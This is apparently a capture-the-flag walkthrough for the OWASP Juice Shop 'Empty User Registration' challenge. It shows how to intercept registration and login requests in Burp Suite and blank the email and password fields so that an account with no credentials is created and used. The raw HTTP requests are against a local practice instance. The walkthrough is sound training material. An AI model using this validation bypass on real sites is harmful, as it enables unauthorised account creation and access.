Empty User Registration
2 Star Challenge 4/23
Register a user with an empty email and password.
- Burpsuite
-
Open the tool
burpsuite, go to Proxy and start the Browser with the Juice Shop. -
Navigate to Login and enter Not yet a customer?.
-
Fill out the Register from with fake data.
-
Bevor you submit the form, switch into
burpsuiteand start "Intercept on" . -
Submit the form with click on "Register".
-
Forward the request an take a look into it.
POST /api/Users/ HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 254
Accept-Language: de-DE,de;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: http://192.168.178.33:3000
Referer: http://192.168.178.33:3000/
Accept-Encoding: gzip, deflate, br
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=YBJ6403etotycMfmH1ouNBtJRImnu6NILEFEPt7YfYqF4buNVIWkuqXd13j5
Connection: keep-alive
{
"email":"jonny23@gmail.com",
"password":"jonny",
"passwordRepeat":"jonny",
"securityQuestion":{
"id":3,
"question":"Mother's birth date? (MM/DD/YY)",
"createdAt":"2025-07-17T12:44:54.599Z",
"updatedAt":"2025-07-17T12:44:54.599Z"
},
"securityAnswer":"02.22.1922"
}
- Manipulate the request data, edit the value of "email", "pwassword" and "passwordRepeat" to an empty string.
POST /api/Users/ HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 254
Accept-Language: de-DE,de;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: http://192.168.178.33:3000
Referer: http://192.168.178.33:3000/
Accept-Encoding: gzip, deflate, br
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=YBJ6403etotycMfmH1ouNBtJRImnu6NILEFEPt7YfYqF4buNVIWkuqXd13j5
Connection: keep-alive
{
"email":"", <-- delete value
"password":"", <-- delete value
"passwordRepeat":"", <-- delete value
"securityQuestion":{
"id":3,
"question":"Mother's birth date? (MM/DD/YY)",
"createdAt":"2025-07-17T12:44:54.599Z",
"updatedAt":"2025-07-17T12:44:54.599Z"
},
"securityAnswer":"02.22.1922"
}
- Forward the request again and go back to the Juice Shop page.
Challenge completed!
You successfully solved a challenge: Empty User Registration (Register a user with an empty email and password.)
To Login with this "Empty User" Account.
Repeat the steps.
-
Go to Login page.
-
Enter some random values.
-
Start Intercept on in your
burpsuite. -
Submit the Login form.
-
Forword your Proxy
-
Remove the values in the request.
POST /rest/user/login HTTP/1.1
Host: 192.168.178.33:3000
Content-Length: 34
Accept-Language: de-DE,de;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: http://192.168.178.33:3000
Referer: http://192.168.178.33:3000/
Accept-Encoding: gzip, deflate, br
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=YBJ6403etotycMfmH1ouNBtJRImnu6NILEFEPt7YfYqF4buNVIWkuqXd13j5
Connection: keep-alive
{
"email":"asdf", <--- Remove
"password":"asdf" <--- Remove
}
- Forward again.
- Now your are logged in as "" user.